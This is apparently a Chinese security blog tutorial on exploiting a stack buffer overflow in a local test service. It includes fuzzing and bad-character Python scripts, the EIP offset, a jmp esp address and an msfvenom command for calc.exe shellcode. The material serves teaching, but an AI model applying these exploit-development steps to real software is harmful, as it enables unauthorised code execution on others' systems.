其他
原创 | 缓冲区溢出漏洞那些事：验证与危害判定篇（文末福利）
点击蓝字
关注我们
测试代码
import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def fuzz(): try: for i in range(0,10000,10): buffer = b"A"*i print("准备发送数据：%s bytes" % i) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(buffer) s.close() except: print("指定端口无法访问")
fuzz()测试发现，程序接收到过多的信息会导致程序崩溃，猜测可能存在缓冲区溢出漏洞
测试程序正常运行，会启动一个终端
确定崩溃数据范围
为方便查看，在send函数处下断点，这样发送完一次数据后会中断，方便观察到程序在崩溃前接收到的数据访问是多少
进一步验证
看到发送466数据，异常暂停，但数据未溢出到EIP暂时无法利用
增加测试，逐步增加数据发现469时EIP无变化而当发送470数据EIP出现了41（A的16进制，先进后出原则）
证明了469后的数据可被利用
这种测试有点慢，换插件试试
先来500个测试代码看看效果（因为以确认了具体数值，实际测试会大很多）
命令：ERC --pattern c 5000
在日志模块会看到输出
根据EIP 值的字符串格式定位
ERC --pattern o pA6p
可以看到469直接出现了
# 在这里写上你的代码 :-)import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def bad_chars(): all_chars = bytes([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF ])
offset = 469 buffer = b"A"*offset eip = b"TEST" payload = buffer + eip + all_chars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(payload) s.close()
bad_chars()根据此思路删除
ERC --bytearray -bytes 0x00,0x0A,0x0D
寻找可被利用的地址（这里使用jmp esp进行测试）
621014E3 选择一个进行测试
运行记事本程序生成命令与参数：
msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00''\x0A''\x0D' shell
结尾：
本篇文章到此告一段落，有缘再见，最后希望可遵守相关法律与道德底线的情况下进行测试。
本书可作为代码审计、渗透测试、应急响应、基线核查、红蓝对抗、防御加固等相关工作从业人员的参考资料，亦可作为企业安全管理者开展企业安全建设的技术指南，还可作为大中专院校及Web安全培训班的Web安全培训教材。
点击图书封面，了解详情
往期推荐
原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE
原创 | 从KCON2022议题来看fastjson新版本RCE